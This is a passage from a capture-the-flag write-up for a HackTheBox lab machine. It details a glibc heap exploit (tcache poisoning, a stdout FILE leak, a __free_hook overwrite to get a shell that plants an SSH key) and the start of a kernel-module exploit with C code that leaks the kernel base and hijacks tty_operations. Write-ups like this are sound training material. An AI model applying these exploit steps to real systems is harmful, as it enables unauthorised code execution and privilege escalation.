add('B',0x40)# B at 2b0 in f2
When I run this, the heap looks like:
0x55555555c250: 0x0000000000000000 0x0000000000000051 <-- A meta
0x55555555c260: 0x0000000000000000 0x0000000000000000
0x55555555c270: 0x0000000000000000 0x0000000000000000
0x55555555c280: 0x0000000000000000 0x0000000000000061 <-- data, but looks like heap meta
0x55555555c290: 0x0000000000000000 0x000000000000000a
0x55555555c2a0: 0x0000000000000000 0x0000000000000051 <-- B meta
0x55555555c2b0: 0x0000000000000a78 0x0000000000000000 <-- B data
0x55555555c2c0: 0x0000000000000000 0x0000000000000000
0x55555555c2d0: 0x0000000000000000 0x0000000000000000
0x55555555c2e0: 0x0000000000000000 0x0000000000000000
0x55555555c2f0: 0x0000000000000000 0x0000000000020d11 <-- end of heap
I’ll free A and then free but hold onto B by editing it to 0. Then on adding another 0x40 bin, I’ll have both files pointing to the same spot. From there, removing the first B will leave me where I want to be to attack:
rm('A')# A in 0x50 tcache, f1 empty
edit('B',0)# B -> A in 0x50 tcache, f2 still B
add('B2',0x40)# A in 0x50 tcache, f1 & f2 -> B
rm('B')# B -> A in 0x50 tcache, f1 -> B
The heap loops like:
0x55555555c250: 0x0000000000000000 0x0000000000000051 <-- A meta
0x55555555c260: 0x0000000000000000 0x000055555555c010 <-- A pointer to next (null) and key
0x55555555c270: 0x0000000000000000 0x0000000000000000
0x55555555c280: 0x0000000000000000 0x0000000000000061 <-- fake chunk
0x55555555c290: 0x0000000000000000 0x000000000000000a
0x55555555c2a0: 0x0000000000000000 0x0000000000000051 <-- B meta
0x55555555c2b0: 0x000055555555c260 0x000055555555c010 <-- pointer to A and key
0x55555555c2c0: 0x0000000000000000 0x0000000000000000
0x55555555c2d0: 0x0000000000000000 0x0000000000000000
0x55555555c2e0: 0x0000000000000000 0x0000000000000000
0x55555555c2f0: 0x0000000000000000 0x0000000000020d11
When I now edit B2 with just one character, 0x90, it will overwrite that tcache pointer:
edit('B2',0x40,'\x90')# B -> fake1 in 0x50 tcache, f1 -> B
(0x50) tcache_entry[3](2): 0x55555555c2b0 --> 0x55555555c290 (overlap chunk with 0x55555555c2a0(freed) )
If I want to get access to this chunk, I’ll first need to get 2b0 out of the way. I can’t just get it and free it, or it will end up back in the same place. So I’ll get it, edit it to a smaller size, and then free that, so that two smaller chunks go into tcache, leaving the fake chunk ready to be used.
add('B3',0x40)# fake in 0x50 tcache, f2 -> B
edit('B3',0x20)# B-end in 0x20 tcache
rm('B3')# B in 0x30 tcache
Now I’ll add a 0x40 entry, and it will return 290, which I can use to overwrite into B. Before I do that, I have another problem. I want to free B2, but I can’t because it will return a double free error. It is checking the key that comes 0x10 after the size meta, so I need to change that. Luckily, I have this new overlapping chunk. So I’ll create it such that it leaves the 0x51 the same, puts a null for the next tcache, and changes the key.
add('fake1',0x40,p64(0)*3+p64(0x51)+p64(0))
Now the heap shows the key is no longer matching the bad value:
0x55555555c250: 0x0000000000000000 0x0000000000000051
0x55555555c260: 0x0000000000000000 0x000055555555c010
0x55555555c270: 0x0000000000000000 0x0000000000000000
0x55555555c280: 0x0000000000000000 0x0000000000000061
0x55555555c290: 0x0000000000000000 0x0000000000000000
0x55555555c2a0: 0x0000000000000000 0x0000000000000051
0x55555555c2b0: 0x0000000000000000 0x000055555555000a <-- no pointer and key ends in "\x00\x0a" and not "\xc0\x10"
0x55555555c2c0: 0x0000000000000000 0x0000000000000000
0x55555555c2d0: 0x0000000000000000 0x0000000000000021
0x55555555c2e0: 0x0000000000000000 0x000055555555c010
0x55555555c2f0: 0x0000000000000000 0x0000000000020d11
I’ll free both B2 and fake1, both going into tcache where I can use them at the end once I need a way to write to arbitrary addresses.
rm('fake1')rm('B2')
The tcache now looks like:
(0x20) tcache_entry[0](1): 0x55555555c2e0
(0x30) tcache_entry[1](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x50) tcache_entry[3](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x60) tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2d0(freed) )
Second Fake Chunk
I’ll now (after a bit of spacing) create another fake chunk roughly the same way:
add('x',0x30)# add for spacing, but used later
rm('x')add('C',0x60)# create block to be freed and steal pointer in tcache - C = 340
add('D',0x70,p64(0)*5+p64(0xa1)+p64(0))# create block and fake block to put fake block meta in place - D = 3b0
rm('D')# D in tcache 0x80
add('E',0x60,p64(0x21)*11)# create second 0x60, E, and spray with 0x21 for next block meta fake later, E = 430
rm('C')# f1 empty, C in 0x70 tcache
edit('E',0)# slot 2 -> E, E->C in 0x70 tcache
add('E2',0x60)# slots 1 and 2 -> E, C in 0x70 tcache
rm('E')# slot 1 -> E, E -> C in 0x70 tache
edit('E2',0x60,b'\xe0')# edit tcache pointer, C -> fake2 in 0x70 tcache
# next three fetch C from tcache, and get rid of it without putting it back in 0x70 tcache
add('E3',0x60)# fetch E, fake in 0x70 tcache
edit('E3',0x20)# E-end in 0x30 tcache
rm('E3')# E in 0x50 tcache
add('fake2',0x60,p64(0)*9+p64(0x31)+p64(0))# get fake block, change key for E
rm('E2')# C
add('B',0x70)# B
I do the same thing here, though this time I have another block between the one I steal the pointer from and the one with that pointer. At the end, I’m left with handles to two overlapping blocks. The fake block reports to have size 0xa1 (despite the fact that I can’t make blocks that big in this program), and the other one is before it able to write into this block.
-----------------------------------
[0x000055555555c3b0] B : x
[0x000055555555c3e0] fake2 :
-----------------------------------
0x55555555c3a0: 0x0000000000000000 0x0000000000000081 <-- B meta
0x55555555c3b0: 0x0000000000000a78 0x0000000000000000
0x55555555c3c0: 0x0000000000000000 0x0000000000000000
0x55555555c3d0: 0x0000000000000000 0x00000000000000a1 <-- fake2 meta
0x55555555c3e0: 0x0000000000000000 0x0000000000000000
0x55555555c3f0: 0x0000000000000000 0x0000000000000000
0x55555555c400: 0x0000000000000000 0x0000000000000000
0x55555555c410: 0x0000000000000000 0x0000000000000000
0x55555555c420: 0x0000000000000000 0x0000000000000031 <-- E meta
-----------------------------------
...[snip]...
top: 0x55555555c490 (size : 0x20b70)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](1): 0x55555555c2e0
(0x30) tcache_entry[1](3): 0x55555555c430 --> 0x55555555c430 (overlap chunk with 0x55555555c420(freed) )
(0x40) tcache_entry[2](2): 0x55555555c460 --> 0x55555555c300
(0x50) tcache_entry[3](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x60) tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2d0(freed) )
Get Unsorted Bin
What this allows me to do is free fake2, then use B to change the key, and then free it again. I’ll free it eight times in total, the first seven going into tcache, and the last going into unsorted bins, which leaves the double-linked list pointers on the heap. I’ll also need to make sure that 0xa0 bytes after A meta is a valid looking meta, and that’s why I when I created E, I sprayed lots of 0x21s in.
# free fake to fill tcache, then overwrite key protecting from double free
foriinrange(7):edit('fake2',0x0)# free fake block, put 3e0 in 0xa0 tcache
edit('B',0x70,p64(0)*5+p64(0xa1)+p64(0)+chr(i).encode())# B
rm('B')# B
rm('fake2')
Now two files are open, and there’s a libc address on the stack:
I’m going to use a technique named File System Oriented Programming (FSOP) to leak the libc address. The idea in FSOP is to attack the GLIBC implementation of the file stream object. This 2018 paper goes into a lot of detail about file streams and the FILE object structure. If the program itself created opened a file with fopen, I could find that structure and mess with it. There are also function pointers in the FILE object that I could overwrite to get code execution. But I can’t do anything like that yet, as I don’t have any orientation as to what addresses I might write.
What I can do is find and overwrite the _flag and the _IO_write_base pointer so that something else is written on the next operation that writes to that file stream.
Of course all of this supposes that I have a FILE object to targets. It happens that stdin and stdout are FILE objects kept in LIBC space. Because I am using a libc with debug symbols, I can print stdout by name, and get the address with &:
So if I can change the _IO_write_base to something before the _IO_write_end, it will trick stdout into thinking that content is buffered and waiting to be sent. The current pointer is to 0x7ffff7fc47e3. If I just write a single null byte, then it will be 0x7ffff7fc4700:
If that were printed to me, I’d have leaked libc and bypassed ASLR.
Changing Pointer to _IO_2_1_stdout
When I last left off, I had written this pointer in main_arena into the heap, and managed to free both my “files”. I also had access to an overlapping chunk before where the main_arena pointers were:
Now I have the address I want to write to on the heap:
0x55555555c3a0: 0x0000000000000000 0x0000000000000081
0x55555555c3b0: 0x0000000000000000 0x000055555555c010
0x55555555c3c0: 0x0000000000000000 0x0000000000000000
0x55555555c3d0: 0x0000000000000000 0x00000000000000a1
0x55555555c3e0: 0x00007ffff7fc4760 0x00007ffff7fc3ca0 <-- now points to stdout
When I get to the point where ASLR is enabled, this will likely fail. That’s because the low three nibbles (0x760) of the address will be consistent, the higher nibble (4 in this case) will change will ASLR. Once I get it working, I’ll turn ASLR on, and then it will have a one in sixteen chance of being correct, 6.25%. Still, I can run the attack over and over, and so in ten tries I’ll succeed 50% of the time, and in twenty tries 75% of the time. I’ll update the script to loop over failures.
Positioning to Write to _IO_2_1_stdout
Now I want to create a chunk over this structure, and I’ll use the same tcache poisoning technique from before. After a bunch of re-writes, I managed to reach this point with the tcache looking like:
Given that the target address is in the 0x300s, the 0x40 tcache bins looked like a good target. I’ll edit the pointer with the same trick I used above, fetching the bin at 460, editing it to size 0, getting the second file pointed at it, freeing the first so that it goes back into tcache while I have a handle to it, and then editing the address.
add('F',0x30)# fetch 460 chunk from tcache, 300 still in 0x40 tcache
edit('F',0)# 460 -> 300 in 0x40 tcache, f1 -> 460
add('F2',0x30)# f1 and f2 -> 460, 300 in 0x40 tcache
rm('F')# f2 -> 460, 460 -> 300 in 0x40 tcache
edit('F2',0x30,'\xe0')# 460 -> 3e0 -> stdout in 0x40 tcache
# get 460 from tcahce, shrink it, and release it
add('F3',0x30)edit('F3',0x10)rm('F3')# get 3e0 from tcache, shrink it, and release it
add('fake3',0x30)edit('fake3',0x10)rm('fake3')# clean up F2
edit('F2',0x10,p64(0)*2)# overwrtie pointer and key to allow double free
rm('F2')
At this point, I have the 0x40 tcache list pointing at _IO_2_1_stdout_:
As described above, I’m going to attack the FILE struct for stdout. I showed the struct above in gdb, but the source is also useful:
245struct_IO_FILE{246int_flags;/* High-order word is _IO_MAGIC; rest is flags. */247#define_IO_file_flags_flags248249/* The following pointers correspond to the C++ streambuf protocol. */250/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */251char*_IO_read_ptr;/* Current read pointer */252char*_IO_read_end;/* End of get area. */253char*_IO_read_base;/* Start of putback+get area. */254char*_IO_write_base;/* Start of put area. */255char*_IO_write_ptr;/* Current put pointer. */256char*_IO_write_end;/* End of put area. */257char*_IO_buf_base;/* Start of reserve area. */258char*_IO_buf_end;/* End of reserve area. */259/* The following fields are used to support backing up and undo. */260char*_IO_save_base;/* Pointer to start of non-current get area. */261char*_IO_backup_base;/* Pointer to first valid character of backup area */262char*_IO_save_end;/* Pointer to end of non-current get area. */...[snip]...285#ifdef_IO_USE_OLD_IO_FILE286};
I’m going to overwrite the _flags, the three _IO_read_* addresses, and the low byte of _IO_write_ptr. The _flags word is defined here:
92#define_IO_MAGIC0xFBAD0000/* Magic number */93#define_OLD_STDIO_MAGIC0xFABC0000/* Emulate old stdio. */94#define_IO_MAGIC_MASK0xFFFF000095#define_IO_USER_BUF1/* User owns buffer; don't delete it on close. */96#define_IO_UNBUFFERED297#define_IO_NO_READS4/* Reading not allowed */98#define_IO_NO_WRITES8/* Writing not allowed */99#define_IO_EOF_SEEN0x10100#define_IO_ERR_SEEN0x20101#define_IO_DELETE_DONT_CLOSE0x40/* Don't call close(_fileno) on cleanup. */102#define_IO_LINKED0x80/* Set if linked (using _chain) to streambuf::_list_all.*/103#define_IO_IN_BACKUP0x100104#define_IO_LINE_BUF0x200105#define_IO_TIED_PUT_GET0x400/* Set if put and get pointer logicly tied. */106#define_IO_CURRENTLY_PUTTING0x800107#define_IO_IS_APPENDING0x1000108#define_IO_IS_FILEBUF0x2000109#define_IO_BAD_SEEN0x4000110#define_IO_USER_LOCK0x8000
The high two bytes will be 0xfbad, the magic number for the struct. For the bottom two bytes, I’ll turn on _IO_CURRENTLY_PUTTING and _IO_IS_APPENDING. These flags are ones I’ve seen used in other CTF writeups, and make sense here to show that this data is ready to come out.
I don’t think it’s very important what I write in the three _IO_read_* fields, as nothing is reading out of stdout. Then I’ll want a single null byte for the low byte in _IO_write_ptr.
I will get one shot to write to _IO_2_1_stdout_, as calling edit will call realloc which will fail because it will find unexpected data where it expects heap meta. Looking carefully at add, it uses fgets, so it will read up to the full size, or until a newline. Since I won’t be writing the full size, the newline from sendline will be there. It also appends a null to the end of the input.
Putting all of that together, I’ll create this bin as follows:
To see this in action, I’ll run up to the write to _IO_2_1_stdout_ and then attach gdb and set an additional break point at 0x0000555555555b92. This is after the add is complete, but before anything is printed (once that happens, all the pointers in the FILE will be updated). Now I’ll step over the leak instruction in the Python script, and gdb hits that break. I’ll check _IO_2_1_stdout_:
When I allow this to continue (and with the Python script running with log level DEBUG, by adding that to the end of the invocation), I can see the data come back:
It matches what I saw earlier and expected. I can pull a libc address from bytes 8-15.
When I first solved this, I didn’t have add returning anything, but I updated it to return whatever comes back, so I could catch it and get the libc address from it.
I’ll look at this address and the /proc/$(pidof rshell)/maps file to see that the offset from it to the base of libc is 0x1e7570.
Updating for ASLR
I mentioned earlier that there are some issues here with ASLR. I’m modifying the bottom two bytes (or four nibbles). But I only know what I want the low three nibbles to be. Therefore, I’m guessing at the forth. There are 24 = 16 possible values there, so a one in sixteen chance of being correct, 6.25%. Still, I can run the attack over and over, and so in ten tries I’ll succeed 50% of the time, and in twenty tries 75% of the time. I’ll update the script to loop over failures.
Execution
Writing to __free_hook
Now that I have leaked libc, I can go for execution. I’m going to overwrite __free_hook with system and then free a chunk which contains “/bin/sh”.
The first challenge I ran into is that I can’t free the “file” that’s pointing at _IO_2_1_stdout_, as it will cause a crash. That means from here on out, I can only work with one file. The first example I gave on how to create a fake chunk was actually prepping for this. When I originally got to this point, I had to go back and add that at the start so that it was ready to fetch from here (and that meant re-working all the spacing, etc). Once I did that, I reached this point with the following status:
-----------------------------------
[0x00007ffff7fc4760] stdout :
[0x0000000000000000] : (null)
-----------------------------------
0x55555555c280: 0x0000000000000000 0x0000000000000061 <-- fake1 from start, in 0x60 tcache
0x55555555c290: 0x0000000000000000 0x000055555555c010
0x55555555c2a0: 0x0000000000000000 0x0000000000000051 <-- real chunk B from start, in 0x50 tcache
0x55555555c2b0: 0x0000000000000000 0x000055555555c010
0x55555555c2c0: 0x0000000000000000 0x0000000000000000
0x55555555c2d0: 0x0000000000000000 0x0000000000000021
0x55555555c2e0: 0x0000000000000000 0x000055555555c010
0x55555555c2f0: 0x0000000000000000 0x0000000000000041
0x55555555c300: 0x0000000000000000 0x000055555555c010
0x55555555c310: 0x0000000000000000 0x0000000000000000
0x55555555c320: 0x0000000000000000 0x0000000000000000
0x55555555c330: 0x0000000000000000 0x0000000000000071
-----------------------------------
top: 0x55555555c490 (size : 0x20b70)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x55555555c3d0 (doubly linked list corruption 0x55555555c3d0 != 0x0 and 0x55555555c3d0 is broken)
(0x20) tcache_entry[0](5): 0x55555555c460 --> 0x55555555c3e0 --> 0x55555555c460 (overlap chunk with 0x55555555c450(freed) )
(0x30) tcache_entry[1](3): 0x55555555c430 --> 0x55555555c430 (overlap chunk with 0x55555555c420(freed) )
(0x40) tcache_entry[2](255): 0xfbad2887 (invalid memory)
(0x50) tcache_entry[3](1): 0x55555555c2b0 <-- B
(0x60) tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2a0(freed) ) <-- fake1
(0x80) tcache_entry[6](2): 0x55555555c400 (overlap chunk with 0x55555555c450(freed) )
(0xa0) tcache_entry[8](7): 0x55555555c3e0 (overlap chunk with 0x55555555c3d0(freed) )
So I can get chunk fake1, and use it to modify chunk B which is currently in the 0x50 tcache. If I replace the first word which is currently null (indicating the end of the linked list) with a pointer, that pointer effectively joins the tcache list.
add('K',0x50,p64(0)*3+p64(0x51)+p64(libc.symbols['__free_hook']-8))# add free hook to tcache 0x50
rm('K')# free file
The payload was a bit tricky to come up with as well. Once I write to __free_hook, I can’t free that either without a crash, so effectively both my files are used. To get around this, I’ll point this chunk to eight bytes before __free_hook. I’ll overwrite those bytes with “/bin/sh\x00” and then continue with the system address. That way, when the program goes to read the chunk contents (or passes it to _free_hook), it gets the string “/bin/sh”.
Shell
The final script is here. Because the shell from PwnTools isn’t great, I added a line for the remote target to automatically write an authorized_keys files so I could go right to SSH.
Running it returns a shell:
root@kali#python3 pwn_rshell.py REMOTE
[*] '/media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/rshell'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/libc.so.6-ropetwo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Connecting to 10.10.10.196 on port 22: Done
[ERROR] python is not installed on the remote system '10.10.10.196'
[*] chromeuser@10.10.10.196:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[+] Leaked address: 0x7f7c44cb6570
[+] Libc base: 0x7f7c44acf000
[*] Overwriting __free_hook
[*] Triggering shell
[+] Wrote SSH key to /home/r4j/.ssh/authorized_keys
[*] Switching to interactive mode
$ $ $ $iduid=1000(r4j) gid=1001(chromeuser) groups=1001(chromeuser)
SSH works as well:
root@kali#ssh -i ~/keys/ed25519_gen r4j@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 4.0
454 updates can be installed immediately.
0 of these updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Tue Nov 24 17:34:39 2020 from 10.10.14.14
r4j@rope2:~$
When I was looking for a method to escalate from chromeuser to r4j, I ran a find query to look for files owned by r4j. While above I showed the search for files owned by this user, the search for files owned by the r4j group also returns something interesting:
To see the protections the kernel is running, I’ll look in /proc/cpuinfo. For each processor, I see the flag smep, which stands for Supervisor Mode Execution Protection. This means that I won’t be able to run user-space code in the kernel. Instead, I’ll need to use ROP to achieve my goals during exploitation.
Local Configuration
Strategy
Because kernel modules are kernel specific, I’m going to want to create the same environment in a local VM. With access to a Linux host machine, the easiest way to do this is with QEMU. This blog gives extensive detail on that process. Unfortunately for me, I was traveling for two weeks with only a Windows laptop while solving this challenge. I typically run VirtualBox for VMs, as I like free solutions, and it’s way more powerful than VMWare’s free option, Player. That said, here, the free VMWare Player has some features that are nice for kernel debugging, so I’ll use that.
Build VM
I downloaded the iso for Ubuntu 19.04, grabbing the non-live iso, and built a new VM. I left it in NAT mode, but added port forwarding so I could SSH into it.
The VM was already running the same kernel:
oxdf@ropetest:~$uname-aLinux ropetest 5.0.0-38-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Had it not been, this one is available through apt, so I could install with sudo apt install linux-image-5.0.0-38-generic.
I’ll also need the debugging symbols package, which I grabbed from here, and installed (it took a while):
oxdf@ropetest:~$sudo dpkg -i linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb
(Reading database ... 108751 files and directories currently installed.)
Preparing to unpack linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb ...
Unpacking linux-image-unsigned-5.0.0-38-generic-dbgsym (5.0.0-38.41) over (5.0.0-38.41) ...
Setting up linux-image-unsigned-5.0.0-38-generic-dbgsym (5.0.0-38.41) ...
The last thing I’ll do is go into the .vmx file for the this VM and add:
debugStub.listen.guest64 = "TRUE"
That will start a listener on my host machine on 127.0.0.1:8864 that I can connect gdb to. If I need to connect from another host, I can add a second line:
debugStub.listen.guest64.remote = "TRUE"
If that line is present, the listener will be on 0.0.0.0:8864.
If for some reason I wanted to change the port, I should be able to do that with (but I’ll just use the default port):
debugStub.port.guest64 = "8865"
Install ralloc
I’ll copy the module into the VM, either by SSH or using VMWare Tools to share a folder into the VM.
To load the module, I can simply use insmod (insert module):
oxdf@ropetest:~$sudo insmod ./ralloc.ko
Now it shows up in lsmod (list modules), and the device is created:
I’ll install GEF in this environment (I had tried Peda, but it didn’t place nicely with kernel debugging) following the instructions on the page.
When I run gdb, I’ll need to point it at the kernel I’m debugging. Because I’ve installed the debug symbols, I can get the kernel out of /usr/lib/debug/boot:
Now I’ll start gdb on that kernel file, and set the target to remote:
df@LAPTOP-3RO4FE29:/mnt/c/Users/0xdf/Dropbox/CTFs/hackthebox/ropetwo-10.10.10.196$gdb -q ./vmlinux-5.0.0-38-generic
GEF for linux ready, type `gef' to start, `gef config' to configure
74 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 6 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./vmlinux-5.0.0-38-generic...done.
gef➤target remote :8864
Remote debugging using :8864
Now I’ll add the ralloc file to my local gdb instance as well. This gives gdb the ability to set break points
gef➤add-symbol-file ralloc.ko 0xffffffffc0768000
add symbol table from file "ralloc.ko" at
.text_addr = 0xffffffffc0768000
Reading symbols from ralloc.ko...(no debugging symbols found)...done.
Static Analysis
General Structure
I need to figure out what this module does, so I’ll open ralloc.ko in Ghidra. The module exports two functions, rope2_init and rope2_exit:
They are both super simple, with rope2_init calling misc_register and rope2_exit calling misc_deregister to create and remove the device. There are a handful more functions, but only one is really interesting, rope2_ioctl.
IOCTL
Structs
This code has two struct that are used to manage data, so I spent a minute reading through the code to see how the structures were used, and then created them in Ghidra. The first I called ralloc_in, which is used to manage the data passed with ioctl is called:
The other I named ralloc_array. This is used for a global variable I named buffers that can hold up to 32 (0x20) buffers. Each object stores a size and an address for the buffer:
rope2_ioctl
Once I apply those to the variables in the code, it comes out pretty clean.
longrope2_ioctl(undefined8fd,intioctl_num,longinput_struct){long_canary;void*__dest;void*__src;longaddr;longuser_input_;ulongid;longreturn;longin_GS_OFFSET;ralloc_inuser_input;__fentry__();_canary=*(long*)(in_GS_OFFSET+0x28);mutex_lock(lock);_copy_from_user(&user_input,user_input_,0x18);/* ADD */if(ioctl_num==0x1000){id=(ulong)(uint)user_input.id;if((user_input.size<0x401)&&((uint)user_input.id<0x20)){if(buffers[id].address==0){addr=__kmalloc(user_input.size,0x6000c0);buffers[id].address=addr;if(addr!=0){buffers[id].size=user_input.size+0x20;return=0;}}}}else{/* Delete */if(ioctl_num==0x1001){if(((uint)user_input.id<0x20)&&(buffers[(uint)user_input.id].address!=0)){kfree();buffers[(uint)user_input.id].address=0;return=0;}}else{/* Write */if(ioctl_num==0x1002){if((uint)user_input.id<0x20){if(((void*)buffers[(uint)user_input.id].address!=(void*)0x0)&&(__dest=(void*)buffers[(uint)user_input.id].address,__src=user_input.data,(user_input.size&0xffffffff)<buffers[(uint)user_input.id].size||(user_input.size&0xffffffff)==buffers[(uint)user_input.id].size))gotojoined_r0x001001ec;}}else{/* Read */if((ioctl_num==0x1003)&&((uint)user_input.id<0x20)){__src=(void*)buffers[(uint)user_input.id].address;if((__src!=(void*)0x0)&&(__dest=user_input.data,(user_input.size&0xffffffff)<=buffers[(uint)user_input.id].size)){}}}if(((ulong)user_input.data&0xffff000000000000)==0){memcpy(__dest,__src,user_input.size&0xffffffff);return=0;}else{return=-1;}}}mutex_unlock(lock);if(_canary==*(long*)(in_GS_OFFSET+0x28)){returnreturn;}/* WARNING: Subroutine does not return */__stack_chk_fail();}
Basically there’s a switch statement on four potential input codes to do add (0x1000), delete (0x1001), write (0x1002), and read (0x1003).
The vulnerability is in how new blocks are added. There’s a check to ensure that the block isn’t bigger than 0x400, and that the id is less than 32, and then the size is saved into the list of buffers 0x20 bytes larger than the buffer is. This allows me to read and write outside the end of the buffer.
Basic Interaction
I started by writing a c program that will interact with the device, to include some helper functions to make each of the IOCTL calls:
Now I’ll start with a simple main that opens the device, clears out the buffers, creates one, writes 0x40 bytes of As to it, and then reads 0x420 bytes back out of it:
intmain(intargc){fd=open("/dev/ralloc",O_RDONLY);if(fd==-1){fprintf(stderr,"Failed to open /dev/ralloc");return-1;}for(inti=0;i<0x20;i++){delete_buf(i);}create_buf(1,0x400);uint64_t*input=malloc(0x400);memset(input,0x41,0x40);write_buf(1,0x40,input);uint64_t*output=malloc(0x420);read_buf(1,0x420,output);for(inti=0;i<0x420/8;i++){if(i%4==0){printf("\n%03x: ",i*8);}printf("%016lx ",output[i]);}printf("\n");
When I run this, I get results that match what I expect:
A common technique for kernel heap exploitation is to find a tty_struct. I can use it later to get execution, but first I’ll use it to leak an addresses a constant offset from the kernel base. I’ll create this using /dev/ptmx, which is a pseudoterminal device. There are many writeups that show good examples of exploiting this, such as this and this.
The idea is that I will create a new buffer, and then immediately open /dev/ptmx, which will allocate a kernel buffer of 0x2e0 bytes for the tty_struct, hopefully immediately after my buffer. Because I can read 0x20 bytes beyond the end of my buffer, hopefully I’ll be able to read into the struct, which has the following format:
The goal is to read the tty_operations pointer, as it points to ptm_unix98_ops, which has a constant offset from the kernel base. My first attempt was to use the fact the TTY_MAGIC is defined as 0x5401 to check and see if I managed to read the right struct. However, there are multiple tty_structs in memory, and it finds others that don’t point to ptm_unix98_ops when I look in the debugger.
I can look in gdb and see the current address of ptm_unix98_ops:
While the top of the address will change with KASLR, the bottom three nibbles won’t. So I’ll look for both the magic and the last three bytes where I’d expect tty_operations.
To find the offset from ptm_unix98_ops to the kernel base, I’ll look in `/proc/kall
root@ropetest:~#cat /proc/kallsyms | grep' startup_64'ffffffff94a00000 T startup_64
The following code will clear all the buffer slots. Then it will try up to 32 times to allocate a buffer, and then immediately open /dev/ptmx. Then it will do the out of bounds read, looking for the magic and the right low three bytes for tty_operations. On finding finding it, it will break and print:
intmain(intargc){inti;fd=open("/dev/ralloc",O_RDONLY);if(fd==-1){fprintf(stderr,"Failed to open /dev/ralloc");return-1;}for(i=0;i<0x20;i++){delete_buf(i);}uint64_t*output=malloc(0x420);for(i=0;i<0x20;i++){create_buf(i,0x400);intptmx=open("/dev/ptmx",O_RDWR|O_NOCTTY);read_buf(1,0x420,output);if((output[0x400/8]&0xffffffff)==0x5401&&(output[0x418/8]&0xfff)==0x6a0){break;}printf("[-]Failed to find tty_struct, retrying [%02x]\n",i);}if(i==0x20){printf("Failed to find tty_struct. Try again\n");exit(-1);}for(i=0x400/8;i<0x420/8;i++){printf("0x%03x: %016lx\n",i*8,output[i]);}}
Sometimes it doesn’t find anything, but many times it does:
I refactored that into a loop now so that it will keep trying if it gets to 32 and still hasn’t found it:
intmain(intargc){inti,id;uint64_t*output=malloc(0x420);uint64_tkernel_base;fd=open("/dev/ralloc",O_RDONLY);if(fd==-1){fprintf(stderr,"Failed to open /dev/ralloc");return-1;}kernel_base=0;while(kernel_base==0){// Clear buffersfor(i=0;i<0x20;i++){delete_buf(i);}// Loop over buffers, create, open ptmx, check for tty_structfor(i=0;i<0x20;i++){create_buf(i,0x400);ptmx=open("/dev/ptmx",O_RDWR|O_NOCTTY);read_buf(i,0x420,output);if((output[0x400/8]&0xffffffff)==0x5401&&(output[0x418/8]&0xfff)==0x6a0){break;}close(ptmx);}if(i==0x20){printf("[-] Failed to find tty_struct. Try again.\n");}else{uint64_tptm_unix98_ops=output[0x418/8];printf("[+] Identified ptm_unix98_ops address: %016lx\n",ptm_unix98_ops);kernel_base=ptm_unix98_ops-0x10af6a0;printf("[+] Identified kernel base address: %016lx\n",kernel_base);id=i;}}}
It works:
oxdf@ropetest:~$./exploit
[-] Failed to find tty_struct. Try again.
[-] Failed to find tty_struct. Try again.
[+] Identified ptm_unix98_ops address: ffffffff95aaf6a0
[+] Identified kernel base address: ffffffff94a00000
Control RIP
Strategy
Now that I can defeat KASLR, I’ll try to control RIP. To do that, I’m going to continue to abuse this tty_struct, specially the tty_operations struct that I used to get a leak. This struct has the follow structure:
It contains a bunch of pointers to functions to be called for various operations. So when close is called on the handle for the device, the close operation is looked up in this struct. Therefore, if I can control this, I can control RIP.
Implementation
I currently have control over a pointer to a tty_operations struct. I’ll create a new one, and then overwrite that pointer with my own. The only function I’m going to worry about is close() as I’ll just close the handle to the TTY immediately after inserting my bogus tty_operations.
This will cause the system to crash, because RIP is now 0xdfdfdfdfdfdfdfdf.
ROP
Stack Pivot
With control over RIP, I’ll need to run something. When I think of a typical ROP, there’s a return address on the stack that’s overwritten, and then the ROP can continue right after that. In this case, the overwrite is a pointer in the tty_operations struct, so I can’t just keep writing there, as that’s not the stack. That leads to the concept of a stack pivot, which is using a single gadget to move the stack to a new address where I have or will write the rop chain attack. I can move the stack over to a memory space I control, and set up a ROP chain there.
Because I’m looking for gadgets across the entire kernel, there will be a ton of them. I’ll use ROPGadget to dump them all into a file (which will take a minute), and then I can search it from there.
I can see in the crash that my overwrite over close() ends up in both RIP and RAX. So while it would be difficult to get something onto the stack to pop into RSP, an xchg rsp, rax would put the stack at an address I know. And because the code is running in the kernel, I have a fair amount of flexibility here to change permissions and overwrite things.
Using grep to look for xchg with RSP and RAX didn’t find anything.
